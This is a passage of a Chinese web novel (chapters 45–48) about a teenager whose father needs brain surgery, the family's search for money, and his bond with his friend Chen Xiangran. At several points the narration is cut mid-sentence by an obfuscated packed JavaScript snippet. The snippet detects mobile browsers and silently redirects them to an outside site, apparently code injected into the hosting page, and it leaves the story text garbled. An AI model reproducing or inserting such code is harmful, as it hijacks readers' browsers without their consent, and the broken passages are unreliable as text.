他拉了拉衣摆——他睡时偶尔翻动，一翻动就会压到齐怀生，然后被锢住，到了凌晨总是衣衫凌乱。此时两眼惺忪，迟钝地想了想说：“不带我一起去吗？” “还想跟着，再病一场？”齐怀生不知是认真还是调侃，“等我回来，再送你回去。” 陈向然当然知道“送你回去”是什么意思。 “就不能留下我吗？”他刚醒，还哑着嗓子，近乎恳求地说着。 他害怕再回到死气沉沉，没有一点生命痕迹的日子。从这个特殊的、火热的夏天转眼再入寒冬。更担心齐怀生有苦不言，在重压下寸步难行。 “不能。”齐怀生身上的光影在移动，他是铁了心了，头也不回地踏出家门。 “至少让我跟你去一趟。”陈向然追上去，扯扯他的衣服，“最后一次。” 齐怀生终于回了头。 凌晨时分，住院部大楼里有窸窸窣窣的声响。走廊上折叠床和地铺睡满了家属，只留中间一条窄道，呼噜声和翻身时床的吱呀声此起彼伏；几个护士带着血检管和血压器，静悄悄查房，给病患逐一检查；一个蹲在墙角的男人站起来，纸巾裹住一地烟头，几缕轻烟飘过陈向然身边。他看到男人眼圈极黑，香烟也消不去脸上的麻木和哀愁。 “人已经走了……记了，五点四十三分走的……”听不出悲痛或是无助，男人平静地告知什么人，慢慢走远了，四周恢复静谧。 他蓦然想到，林岚当初是不是也这样在医院走廊里踱步，一个个电话通知到大舅、二姨……她的每个兄弟姐妹家中。 姥姥姥爷几乎是接连去世的，什么时候走的，他这个孙儿连日子都不晓。问过林岚，她便说“小孩子知道这些做什么”、“你的脑子应该用来记知识”、“这些妈妈来就好了”，诸如此类的话。在母亲眼里，他仿佛永远长不大，永远被她捧在手心……亦或抓在手心。 齐怀生走在前方，不与他并肩，在长长的、迷宫一样的走廊里穿行。头上的指示牌指向重症监护室，箭头向哪，他就拐向哪。 走廊尽头的一扇窗投进几束霞光，像是这个充满病痛和死亡的地方唯一的温暖。 到了重症监护区，他们放轻脚步，远远听见姑姑压着声音，不停换着电话打。 “喂，原哥，哎，是我阿璇。”陈向然缓缓走过一个转角，姑姑的身影渐渐从墙角之后显现——她在走廊尽头，落地窗外是一片矮房、铁棚和电线，“最近工程越做越大吧？恭喜啊。唉，就是这几天台风来得太突然了，我哥出了点事，现在要手术……哎对对，三千能有嘛？三百啊……哦好的……哎不还哪行啊，三百也还的。要的，要还的。” “喂，孟姐啊，听说你最近服装厂又扩建了，恭喜恭喜啊。那个……我哥吧……” “詹哥，最近店里生意还好吧？开连锁了？不错啊……” 陈向然听着姑姑熟练又自然的寒暄——寒暄中还有确认对方能否借钱的意图——忽然意识到这个女人才是这个家的主心骨，是那个拿主意，周掌一切的人。 他听见，齐怀生的二叔从江洲回来了，在火车上。据说东凑西凑，加上自己腰包，凑了三万回来。可姑姑仍在四处借钱，听上去刚东拼西凑了三万。六万多，她还没罢休。 齐怀生趁她打电话的间隙一个箭步上前，夺过手机：“家里有存款吧？第二场手术就几万块，拿不出来吗？” “臭小子，拿来。”姑姑抢回手机，“你以为家里富余呢？不吃饭啦？” “别忽悠我，至少两万，拿得出来。” 姑姑沉默了。 半晌才说：“你别管，家里存款不许动。钱我来凑。”说完她又拨出一个电话：“喂，新姐……” 齐怀生脑袋一嗡。“新姐”是他的姨妈，也是叶知同一户口下的家人。 “唉，最近我哥……噢不是老二，是阿知爸爸出了点事。嗯，麻烦问问她姨父……” “啪”一声，齐怀生夺过手机，听筒放到耳边：“喂，大姨，不用问了，这边没事了。嗯嗯，就这样，先挂了。” “嘟”一下摁了红键，把手机扔在了座椅上。 姑姑叉着腰看他，没去捡手机。 走廊忽然死寂一般，空气里游丝一样蔓延着尴尬，直到齐怀生问：“他怎么了？” 姑姑表情收紧，嘴唇紧闭。 “做血肿，第二场手术就三万，加上术后护理，不是凑到了吗？” 霞光在玻璃上晃出光晕，光影线在他们脸上行走。齐怀生不知是被光晃了眼，还是被激怒了，眯了一眯。 “不说是吧？不说我自己问。” 齐怀生转身就跑，背影消失在绿莹莹的逃生出口隔壁。陈向然反应快，跟了上去。姑姑原地怔愣了一会，跟在陈向然身后。 尽头的值班室有几个护士，看他生闯进来，脸色也不好看，站起来就骂，就要赶人。 “我是A17号病床的亲属，我想看看他的病情记录。”他说了来意，护士的态度也没有半分缓和，问他是不是陪护，不是就必须马上走。 “我是他直系亲属，我有权知道……陈向然，你别拉着我。” 姑姑在值班室门口，注视着门缝里的一切。 齐怀生在那挣扎，飚狠话，像一只凶悍的小兽，跟护士吵得不可开交。 很久很久，她都没有出声。 她忽然发现自己需要仰起头，才能看见侄子的脸了。当初那个膝头学着叫人的小毛头，转眼能搬好几箱海货，像挂网的杆子那么高。她没有孩子，几个侄子侄女中，齐怀生和她最亲，亲儿子一般。 人意识到自己变老，往往是从意识到孩子长大成人开始的。 她缓缓伸出手，推开值班室的门：“护士，我是陪护，” 一屋子人停止争吵，都朝她看来。 她心下一软，出示了陪护证明：“他是来探病的。麻烦了，翻一下A17号床的记录。” 齐怀生顿时不挣扎了。 “怎么？又舍得让我看了？”齐怀生故意直视她的表情，非要扳回一城。 姑姑不作回应，像是不和“小孩子”计较。 齐怀生接过临床记录。 记录里除了脑内血肿，还发现蛛网膜下腔有出血现象，经过观察可能存在肿瘤，不及时治疗会有死亡风险。 “这个动脉瘤存在的时间比较长了啊，”护士长背对着他们，正操纵电脑上的病历，“病人是不是从没和你们说过呀？” 齐怀生像中心广场的那棵千年老树一样，一动不动杵在原地，嘴唇微张，不说话。姑姑便替了他说：“是，我们没有听说。” “需要手术切除。看什么时候把手术日子定下来吧，病人等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301964|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不起。因为特殊情况，这次手术难度跟上次相比，主刀医生也没有十足把握的。越拖越难做。好吧？你们考虑一下。” 病痛仿佛一个巨大的无底黑洞，不断地吸走人的金钱和精神。 齐怀生来去匆匆，扔下记录，像一只草原上的猎豹，转眼又冲出值班室。 “哎……”姑姑要拉住他，没碰着。 “你去哪儿？”陈向然跟上他。 话语不知在他脑海里回旋了几圈，出了大楼，他才说：“拿钱。” “你哪来那么多钱？” “是我爸的。”他们从医院里跑出来，绕了一段小路，等一趟人行道红绿灯，“他名下的银行卡、手机银行密码，纸币放在哪，他都告诉过我。有一张是由我支配的。” 老来得子大都如此。齐怀生中考结束那天，齐卫平把所有财产都列作清单交予他。密码、固资，出海的注意事项，捕鱼时段，操作手法，所以他对家里的一切一清二楚。 现在想想，齐卫平的身体是从那时候突然滑坡，因为动脉瘤的出现。手术切除不干净，留下了后患。 但那时候齐怀生结束了九年义务教育，要供他上高中，还要预防学校涨价，再抽不出做手术的闲钱。 陈向然还想问什么，终究没问出口。他知道齐怀生不会想听到这样的问题。 齐怀生回到家里，径直奔向房间，拉开书包拉链。这张银行卡很重要，他总是放包里带着。 他拉着陈向然到镇上的ATM机取钱，一读卡，里面有两万出头。齐怀生正想点全部取出，陈向然摁住了他的手腕。 “留点吧。”陈向然说，“算我拜托你了。” 齐怀生垂下眼帘，把手抽回来，看着屏幕上一串数字。 这是用来救人命的数字，他一点也不想留。 “行吗？”陈向然带着一丝央求，“只取一万。” 齐怀生一狠心，“滴滴”摁了两万块钱：“就这样吧。” “但……这是你爸给你交学费用的，对吧？”陈向然敏锐地猜到了，“专门放在这张卡里的。” “现在这边急用，先匀给这边。学费……再说，实在不行，我十八了，可以去贷款。”齐怀生将现金用皮筋捆起来，再用信封装好，嘀嘀咕咕的，像是想咒骂一般，“总比低声下气地欠人人情强……” “那你打算怎么还？” “等毕业我就能找活干了。或者……现在就能。” 陈向然明白他是什么意思。 “你不能，齐怀生。只有这个，你必须听我的，你得去上学，我可以继续帮你。学校封禁我也会出来，齐怀生……” 齐怀生不理人了。他无暇顾及周围事物，穿行小县城的双车道马路边。斑马线前差点闯了红灯，被陈向然拼命拉回来了。直到他冲进了住院部大楼，陈向然才没再跟进去。 他知道说什么也没用了。 天空雾蒙苍白，憋了点忧心的灰。云从他头顶走过，蓬松细散，像棉花丝。 他担心又要下雨，先找了住院部楼下一个休憩长廊，坐进了阴影里。 大院里有几个人铺了一张编织袋，睡在花坛边。衣服不算旧，看上去不像流浪汉。许是楼上哪个病人的家属，在走廊已经占不到位置了。 齐怀生明明总劝说他的兄弟们读书，勒令他们补习，成为“学习小组”。他和申恺一样，明明知道竞争这件事有多么重要、多么唯一且不可摆脱。 明明没有人想吃苦，却总说着高考不是唯一的路，原来是人生已经退无可退。 他等了很久。天色愈来愈灰暗，白昼如夜，见不到一丝天光。 46. 安慰 还是下雨了。 雨不大，细细密密的，像棉絮飘在脸上。这天气用不着伞，他缓悠悠地冒着细雨，走进住院部大楼。 齐怀生坐在一盏坏了的走廊灯下，手肘撑在膝盖上，垂着头，旁边的白炽灯将他的影子拉扯得巨大，仿如有凶物在黑暗中窥视他。 陈向然和他之间隔了一条走廊，封闭、幽深。这个角度看去，墙壁和天花板都仿佛朝齐怀生挤压而去。 远远的，他一时也不知该劝点什么。这个骄傲的人被反复挤压自尊，却咬着牙，貌似强势又游刃有余的样子。 一场肿瘤手术，两万不过杯水车薪。 人来人往的走廊，他们嗅着医院的消毒水味，头顶灯光发青，一盏一盏明明暗暗地笼罩在身上。 陈向然穿过明暗的灯火，在他身边止步，犹疑着，用手指轻轻戳了戳他：“我借给你。”他担心齐怀生烦躁生气，声音很弱，“什么时候还我都好。但是不要拒绝我，现在非常时期。” “想帮我？”齐怀生抬起头看他，半晌，嘴角嘲讽般扯了扯：“你个学生，哪来的十多万？” “我存的。我妈每个月给我的生活费，都有余留。” “早拿去交培训费了吧。”齐怀生站起来，以居高临下的姿态凑到他眼前，几乎要碰到额头，呼吸都绞缠在一起，“知道我为什么不带你么，陈向然？” 太近了，陈向然往后退了一寸、两寸……后脑勺撞在墙上。他无辜地摇了摇头。 “我就怕你这么说，我不需要你做牺牲。” “可你还是带上我了……”陈向然试图瓦解他的防线，“你需要我的……” “对，我需要你。”他坦然承认，“我需要你跟我说你会在，一切都会好。但不是让你陷进来，这不是小事。” “我当然在。”陈向然争辩道，“我在的意义就是让你不至于一个人。” “那你打算怎么样呢？”齐怀生朝他逼近一步，几乎靠在他的侧脸耳语，“海中有钱的同学很多吧？要跟同学借么？跟你妈妈拿，她一定怀疑你在培训艺考，根本不会给你。” 陈向然愣住了，他确实是打算跟程希和孙临潼借点钱的，哪怕曲线救国，从叶知那借也未尝不可。 都被拆穿了，眼看齐怀生的影子逐渐从自己身上离开，往病房的方向而去。 他鞋底很厚，叩地的回音在长廊里翻滚、荡漾远去，他看上去孤零零的，连脚步声都是孤零零的。 陈向然倏然怒了，脸阴沉下来，忽然跟上去：“齐怀生！” 路过的护士倏忽吓了一跳，朝他瞥来一眼。 齐怀生回头，被他突然的爆发给弄得一愣。 他被病魔侵蚀，被迫消沉了这许久，此时拿出仅剩的力量，将齐怀生喝住了。 “我告诉她实情，她一定会给的。” “告诉她，说你有个朋友既落魄又失败，现在需要向人求助一大笔钱吗？你妈妈的脾气，难道不会问你，为什么要交这种朋友吗？” 陈向然没想到他会这么说。 他知道他说的失败，是在说他自己是个失败的儿子。他总是一个人摸着父母亲的结婚照，嘀咕这样的话。 “我不会接受的。”他的声音沉下来，柔而有力，“你不能掺和这种事情。你得回学校，做你现在该做的事，画画、做题，懂吗？” “我不懂……”陈向然憋住发酸的鼻子，“为什么我就得看着你这样？你当初也是这么把叶知赶走的吗？因为不喜欢离别所以干脆把所有人都推走，是吗？” 齐怀生因这些话微微颤了颤肩。 “你就一定要追在我身后吗？看着我把一切搞砸，所有事情都变得乱七八糟？” 陈向然被他的言语软化，在齐怀生面前，他总是容易变得柔软。 他想说他已经很努力了，是这一切对他不公。 他心里莫名浮现圣地亚哥大战鲨鱼群的景象，用尽了拥有的全部工具和策略，哪怕只剩下一支断裂的舵柄，哪怕最后大马林鱼在鲨鱼群中只余一把鱼骨。 想说的太多，嘴里却干巴巴的，说不出一二。来往路过的人、推车、轮椅、输液架那么吵闹，好像只有他们之间寂然无声。 他自言自语一般轻轻地说：“可是我难过的时候，你也这么追在我身后的。” 齐怀生倏然被一朵棉花击中，又软，又疼，疼得弓起了背。 他大约是斟酌了很久，半晌，转过身来，眉眼微微下垂，多了几分愧疚和怜爱：“黎斯哥到处演出，认识的人多，说能给我介绍工作。我想先找一份，预支了工资再说。”他说，“我家和姨父关系就那样，借钱，我拉不下脸面。” “开学后呢？” 齐怀生朝他走来。 陈向然这才发现他面色愈来愈黯淡，消瘦，不再像之前的红润。眼里一点光亮彻底沉进幽深的瞳孔。 那双眼睛瞟向齐卫平的病房——姑姑在病房门口进进出出。房间里的独立卫浴被人占用，她总是不厌其烦地拎着脸盆到公共卫生间打水来。 他低声道：“这边工地和石川那边同个上家，调动也是也可以的。” “工地？” 他常听李荧抱怨，说工地危险。她一见谭持出去工作就心惊肉跳，一整天不能安心。谭持的两个同事被钢管、水泥砖砸了，安全帽质量扛不住，一死一伤。 听谭持说，工程没有按规定为民工买保险。死亡的同事由老板亲自陪，只陪了不到一万块。说人不是砸死的，是抢救过程中医生失误导致。同事的家人拿强盗逻辑无半点办法，他们没有钱请律师。 “我知道。那个叔年纪大，人老了，头顶有东西落下，反应不过来。”齐怀生轻叹，抓抓他的头，顶着双黑眼圈笑，“我还能躲不过么？” 陈向然一点笑不出来。 他只是想说，工地就是这样的一个地方。齐怀生应该比他更明白。 “你……”他什么也说不出来，“你让我怎么办呢齐怀生？” 齐怀生眼神一暗，也只是抱了抱他，拍拍他的后背。 他说得再多，也只是反获得齐怀生的安慰罢了。齐怀生决定的事，十头牛也拉不回。弯腰能解决的事，他定要去撞出一条新的路。 陈向然每天一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301965|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言不发地跟着他。 他每日目光低垂，微微驼背。不是到医院探望父亲，就是被姑姑赶回家中，在院子里静静地抽烟，直到把烟灰缸堆满。 陈向然劝他出去走走，他没有回应，像是听不见一样，嘴里吐着汹涌的烟雾。约莫过了几个小时，他终于从烟盒里再摸不出烟来。 下午才新拆的烟，转眼抽空了。 这样的日子过了好些天。奶奶藏起他的烟，他永远都能找到。就像小时候蛀牙，被奶奶藏起了糖，他还是总能找到一样。 奶奶也逐渐记不起一些事了。就连齐怀生偷偷跟她到西厢房，看着她把香烟藏进衣柜抽屉，她也没有发现。 就在“偷窥”之时，齐怀生发现她的戒指不见了。 奶奶中指上有个金戒指，镶了颗小小的翡翠玉。是爷爷年轻时从南洋番邦带来的，在当年是稀罕货。找内行鉴定过，纯金真玉，是好东西。它不见了，齐怀生想起来姑姑凑的那三万块钱…… 某一天，齐怀生愣愣地盯了烟盒许久，缓缓站起来，对陈向然说：“帮我给我阿嬷拿块膏药。”他指指电视柜上一个扁扁的盒子。 陈向然来到塘泽的第一天起，最常听见的就是“阿嬷，换药咯”这句话。齐怀生每天都记着给奶奶换膏药。于是纳闷，怎么他今天使唤起人来了。 回头一看，他出门了。 他第一次不告诉陈向然，自己要去哪里。陈向然知道他想一人静静，却担心他出事，仍是隔着几十米距离，偷偷跟在他身后。 他去了海边。 天空灰蒙蒙的，掠过几声海鸥的哀鸣。灰白的云团闷重地压向海面。 然后他看到了这一幕。 齐怀生没有去码头，也不在大坝上，或是沿着长堤散心。他沿着两公里的海岸线奔跑，跑到尽头再往回折返。两公里、四公里、六公里……双臂前后飞速摆动，头发朝后飞扬，衣摆撩起，就这么跑下去， 陈向然站在堤坝上，海风扬起一头黑发。惨灰的天空之下，海边空旷无人，这一刻连风声、浪声都是寂静的，一个少年望着另一个奔跑的少年，一只瘦弱的笼中鸟张望着另一个笼里挣扎的困兽。 那个身影跌倒了很多次，他每次都忍不住要上前，最终都退缩了。 齐怀生拼命跑，无止尽地奔跑。 好像有什么快从身后追上来，要擒住他的动脉，扼住他的咽喉。 跑得累倒在石滩上，跪坐着眺望面前这片海，它生他、养他又剥夺了他。海风掀乱了他的头发，吹红他的眼睛。他低头蜷缩起来，抱住自己的双臂。 陈向然不犹豫了，走上前去。 齐怀生压抑着啜泣，直到一个怀抱来到面前。一双臂膀搂住他的脖子，将他的脑袋紧紧摁在肩膀上。 他怔住，耳边传来只有他能听见的安慰，防线倏然释放，眼泪徐徐流淌。 ——“我在这。” 呼吸渐渐平缓，他用力揽住了陈向然的腰。 阳光刺破云层，如神的泽被洒向大海。 浪花拍溅海岸，两个人跪坐岸边，任海水打湿衣裤，久久拥抱在一起。 47. 祈愿 姑姑最终还是借到了钱。 一个几十年的老友，高中时关系好得只差穿一条裤子，即便好几年不联系了，以前那份情感和亲密都还在。 十万说借就借了，毫不含糊。 这个掌舵一切家事的女人，也不得不另找一份苦工，更劳累，薪水更高，好养家里老老少少。 陈向然第二天醒来就听见客厅里在争吵。 恍惚间错以为齐卫平已经从生死线上回来，亦或一切都是幻梦，他依然在这里和儿子争长短，互相骂对方是废物。 意识逐渐清醒，才发现另外的是个女声，喑哑，口气决然。齐怀生听上去很生气，硬是压了脾气，愤愤一甩手，到院里去了。 听声音，姑姑正扒着四折木门，冲门外喊：“你小子别给我拧，人家又不可能追咱们的债，你怕什么？不许去找工！” 院子和屋里一片死寂，齐怀生没有回应。 奶奶从房间里出来。用她不再戴有金戒和手环的空荡荡的手，扶着门框、柜子、折叠式餐桌，蹒跚而来。齐怀生和姑姑谁也不依谁，老人家轻轻叹了口气。 说“行了行了，都是命”。 奶奶打小种田、下厨，那时还用的人工插秧、煤炭生火，因而手指甲是斑黑的，藏了洗不去的泥土和煤灰。没了首饰的点缀，更是扎眼。再后来逃荒、迁移，一辈子风风雨雨，见惯了飘摇多舛，到老反倒不视悲苦，只无奈人间本如此——人世匆匆，无一不苦。过往几十年都藏在她这具苍老的身体里，摇晃着坐进摇椅，闭眼，蒲扇轻摇。 老电风扇发出吱呀、吱呀的呻.吟声。院落里一地枯枝腐叶，风是清凉的，湿漉漉的，送来植物和泥土的清香。录音机反反复复，传来悠悠的唱经声。 人世的一切曲折都藏在岁月静好里。 院子里的月季花随风轻摇。 听不着声了，陈向然才到院子角落的水管旁洗漱。紧接着回屋换好衣服，连笑容都酝酿好了，才到院子里看他。 趁他不备，抽走他手里的烟，碾灭在烟灰缸里。 “我没抽，你也不能抽。记得吗？” 齐怀生微一叹气，烟雾弥散：“嗯。” “你想出去走走吗？”陈向然弯下腰看着他的脸，唇角上扬。 “散心？不需要。” “我倒想去那边看看。”他指着瓦檐之上，连绵的青山，“那是青叶山的一部分吧，我老家也有一部分。我想知道这边有什么？” 齐怀生斜眼盯他，早就看穿他“曲线救国”的把戏，却不说穿，反倒笑：“有草，有树，有花。” “山顶有什么？” “有……” 有很多。 有他常去或不曾去的地方，有小时候和邻居伙伴冒险的回忆，有别处没有的泥土清香。山和海装着他过去、此时和今后的一切，他其实很想摊开来，像介绍自己的宝物一样告诉陈向然。 齐怀生歪在椅子里，沉默半晌，终于直了身板，起身说：“行，带你去。” 他妥协得那么快，陈向然有点开心，迈着碎步小跑跟上。 空气潮湿清凉，鸟儿晨鸣。 青叶山的路不怎么修缮过，大多是被行人踩踏出来的黄土路。在陈向然的记忆里，这里的山比老家的山陡峭得多，走起来费力。齐怀生走了十几年，走惯了，三两步上了一个高坡，再回过身，把他拉上去。 反反复复，直到山顶。 和石川一样，这也有一个庙，小了一点，也没有那样一口大铜钟每天报时。走进去没有人，但院子中央的香炉还有烟气，烟灰簌簌掉落，彰显着此处尚有来人。 大殿静谧无声，巨大的铜像耸立在面前，梁上刻了“地藏王”三字。供桌、檀香、录音机的唱经声，无不显露此处的静穆与庄严。 他们搬来几个跪垫，对视几眼，笑了。心照不宣地学着大人的模样跪上垫子，双手合十。 就是这里，陈向然想，齐怀生应该没少来这里，也或许是山下的祠堂，因为他身上总有檀香的气息。这种气味使人宁神，茫茫渺渺，如临太虚之境。 人总有歧路彷徨、不得不相信神明的瞬间，因而庙宇里总有形形色色的人来了又去，求平安健康、求风调雨顺。一束烟，就是一趟苦，一桩愿。 他们在这里休息，也在这里许愿。像这片土地上经历过战争的老辈人一样，在神灵处寻求片刻的安宁。 齐怀生心宁气静，跪拜半晌，一个愿望也没有许。眼睛睁开一道缝隙，目视光明，晃了眼睛。再度睁开时，缓缓转过头，从眼角瞄向陈向然。 然后便挪不开眼了。 殿外阳光轻轻薄薄地披在他身上，让他的轮廓变得神圣。他今天大概有很多愿望，双眼紧闭，浓密的睫毛颤动着，双手合十高举额间，嘴里念念有词，虔诚地祈祷着什么。 他会祈祷什么呢？ 陈向然合掌晃了两晃，睁开眼睛看了过来，眉眼间依旧飘忽而轻盈，却多了一丝笑意。 “看我干嘛？”他笑着说。 齐怀生神情一顿，迅速扭开视线，看着佛像，装模作样地晃晃合十的双手。 他从跪垫上站起，不着痕迹地问：“许了什么愿啊？” “说了不就不灵了？我姥就这么说的。” “啊，嗯。” 他们横穿大殿，由北门迈出。 殿后芳庭院落，沿院墙种了一片玉兰树，风一来，漫天花瓣雨飞舞旋转。几位僧人在后院扫地，戒纹头顶，棕褐僧服，执一把竹骨扫帚，“沙”、“沙”地发出舒适的音节。 两个人在花雨里穿梭，院落花香弥漫。那花瓣是柔软的、清新的，落在衣服上，坠于发梢尖。齐怀生恶作剧般拨去陈向然鼻尖上的花瓣，逗小孩儿一样，刮了一下他的鼻子。陈向然伸手想报复，这个人一踮脚尖、一后仰，躲开了。 在寺庙里追逐了一圈，进过所有大殿，也不管人家神佛掌司何职，拜就对了。陈向然每次许完愿，都会和齐怀生对上目光。只一瞬间，他又挪开了眼。 第七次的时候，齐怀生正要解释什么，陈向然“哦”一声恍然大悟。 “怎么了？”齐怀生眨眨眼。 “去一趟小卖部。” “啊？” 小卖部很简陋，像个小报亭，生锈的铁闸门，剥落的漆墙。因为雨季，还飘着潮湿土壤的气味。这里卖零食、檀香、冥币、蜡烛、香炉，和其他首饰、纪念品。 陈向然向店主买了一个吊坠，金棕色的细链，末端坠一地摊玉石，形如挂锁，色如琥珀。看介绍，这东西有个愿望锁的噱头——把吊坠挂在愿望的对象上，会更加灵验。 “干嘛？”齐怀生看着他把坠子戴在自己脖子上。 “不许摘，一直戴着。”陈向然摆正了坠子，满意地打量他。 齐怀生似笑非笑地扯扯嘴角：“一直戴，方便半夜勒死我？” 玩笑有点冷，陈向然不想接：“意外地适合你。”他伸手撩动那条挂链，“嘿嘿，更像黑.老大了。” “……草，真以为我有什么小弟？” “晋哥告诉我了，你得护他们，才对外这么说。”陈向然两手枕在后脑勺，脚尖拨拨地上的花瓣，声音变得闷闷的，“你是不是……对所有人都这样？” “哪样？” “别人有事儿，你都替人挡？” 话里一股淡淡的酸味儿。齐怀生猜来猜去，怀疑是自己的错觉。 “不是。”他说，“开始是因为申恺，和我自己。” “你和申恺？” “在那边没有父母撑腰很危险的。那些学生混混、社会人，他们会觉察到的。拦你一次、两次，还没有人找上门来，你就永远被盯上了。” 齐怀生：“以暴制暴不好，但有时候就是很有用。至少要学会用才好。装作身后有很多很多人，把名声传出去，那些阴沟人做事就得多想两步。” “话是这么说吧，”齐怀生笑笑，“有时候说不定装着装着，懂了道上规矩，好像真成了个二痞子。” 陈向然想起那天在派出所门口，那个妆容艳丽、姿态万千的女人。 “申恺的妈妈在他身边吧？” “母子俩各走各的。跟流浪没区别。他就老惦记着去找他爸。”齐怀生把玩着胸前的石头锁，不自觉露出点笑，“还找呢，他这个爸说不定还不知道他的存在。” “这样……” 也许单单由血缘建立的关系，有时也很脆弱。 人们把孩子带到这个世界上，都包含他们自己的苦衷，和私心。陈向然想，林岚是不是多少也怀着这样的私心，或是苦衷呢？ “锁挂我这干嘛？”齐怀生明知故问，“愿望跟我有关？” “当然。”陈向然下巴微抬。 他没有说，其实许的愿望都跟他有关。希望他平安、顺利、快乐，希望他身边的所有人也平安，一切能用的祝词都用在他身上了。他没有为自己祈祷任何事。 “那你呢？许了什么愿？”陈向然期待地看他。 “什么也没许。” 陈向然突然敛笑：“你这么没劲呢？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301966|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我打小来庙里都不许。” “为什么？” “不求神明，自己实现，才比较酷，对吧？”想起小时候他总有种怀念的愉悦，手里紧攥那颗石锁，“再说你都帮我求过了，今天满足了。” “我确信你是真没劲……”陈向然摇摇头。 中元节就这么来临了。 传说中这一天，是在外漂泊的亡灵叶落归根的日子，子孙后代唱曲、上香、游行、放灯、制作供品，为祖先点亮回家的路。这个节日最让人感觉到时光的“流逝”，过往和当下的一切人事都在慢慢逝去，成为纪念，也成为遗忘。 齐怀生去跟黎斯谈生意，要他来一场半小时的演出，就唱《四郎探母》第八至十折，从探母唱到别亲。谈拢了时间，齐怀生坚持给他钱，但黎斯拒绝了。 齐怀生眉心微蹙：“啧，唱了就给呗，不至于演出费都给不起。” 黎斯扭头就走，举起手摆了摆，说给得起也不要，他不收熟人的钱。 现在早没有以往复杂的仪式，齐怀生带他到母亲和爷爷坟前，摆了两份供品，镇上买的，都是五彩包装的糖酥，祭拜专用。他蹲在坟前，扫去碑上的尘土，在心里把陈向然介绍给母亲和爷爷。 他刚刚意识到，陈向然于自己已是如家人般的存在。 换作以前，坟前祭奠需要早中晚更换不同的供品，据说对供品的种类、摆放还有奇奇怪怪的要求。现在很多流程被完全丢弃，齐怀生只需要将糖酥扔在坟前一天时间。带着陈向然离开这里。 听黎斯唱戏。 黎斯依旧唱老生，并坚持要替小弟的男旦位置。倒是老旦请来女生助力。 陈向然匆匆忙要坐在台下的长凳上。齐怀生将他拉了回来：“那儿不能坐人。” “为什么不能？” “不知道，我爸说的。” 仪式的规矩传到这一代人，连原因都不大记得了。但陈向然觉得很好猜，既是祭祖，许是亡魂的位置。 他有时觉得可惜，没机会再听姥姥讲述古老的过去，他的精神再没有熟悉的一方土地可依。神奇的是，他的精神随黄沙飘散，却回到齐怀生扎根的地方，在这个和老家极度相似的地方，重新生长。 齐怀生没说错，他的家好像也成了陈向然自己的家。 “去不去放灯？”齐怀生问。 “去哪儿？” 齐怀生没说话，牵起他的手。他们一路朝海边奔去。 今天的码头和海堤多了些行人，手上都抱着一盏纸做的莲灯。有的在码头边放，有的到长堤上，有的索性乘一艘小船，驶出了养殖场的海域。 齐怀生家有小船，是以前带着舱的、老式的渔船，零零星星还留着些出海仪式插着的彩旗，粗布所织，旧得崩出了丝线。 这船现在不做团体作业，只留着到海中央闲时垂钓。他们抱着镇上杂货铺买的莲灯，乘上了船。 两人悠悠划着船桨。陈向然回头远望，海岸已渐渐藏进了薄雾里。青山和房屋化作连绵剪影，在雾中摇曳如水墨。 他们驶出了养殖海域的出入口。 “到哪里去？”陈向然东张西望，“那边有人放……那边也有好几艘船。” “我们去没人的地方。”齐怀生将船舵用力一扳，船便转过弯，往西南向去。 船只在四面广阔的海面上停住，清风徐来，水浪微晃。 “这里？”陈向然抬手挡了一下海风，“离别人这么远。” “有我们俩就够了。” 莲灯中心有引线，引线通向下方的纸莲花，莲座的材料是硬板纸，方便在水上漂浮。 轻轻一推，莲灯便徐徐而行。荧荧烛火零星散落于水面之上。一盏一盏随着洋流的方向，从四面八方向着月轮升起的海平线，徐徐聚拢而去。 于是海若星空，小舟漂游在星河里。 “这回许愿了么？”陈向然看着灯飘远，直起腰来，船吱呀晃着。 “许了。” 陈向然快速扭头，注视着他：“什么愿望？” “说出来就不灵了，我奶奶说的。” 他撇撇嘴：“狡猾。” “你呢？” “刚刚没许，现在许了。” “许了什么？” “希望我们都能考个好大学。”陈向然的目光在月色下，盈盈如玉石，“尤其是齐怀生同志。” 齐怀生眼皮一抬，望着烛火和渔火交织的逸景，手不自主地抓抓脖子上的石锁。 手放下，石锁轻轻地荡了一荡。 48. 暴露 齐怀生的二叔落户江洲，是随儿子——也就是齐怀生的堂哥去的。堂哥是个上班族，在一家随时有倒闭风险的小企业干财务。二叔回家后，堂哥也赶着中元节这天回乡祭祖。带着自己寥寥的薪水，让齐怀生把新一年学费先交上。 无意间伸手递卡的模样，仿若施舍。 齐怀生趁陈向然陪奶奶说话，指间夹半根烟，闲倚格栅木门，双臂抱持，朝院里吐出一口烟圈：“管好你自己吧，齐越杰。” 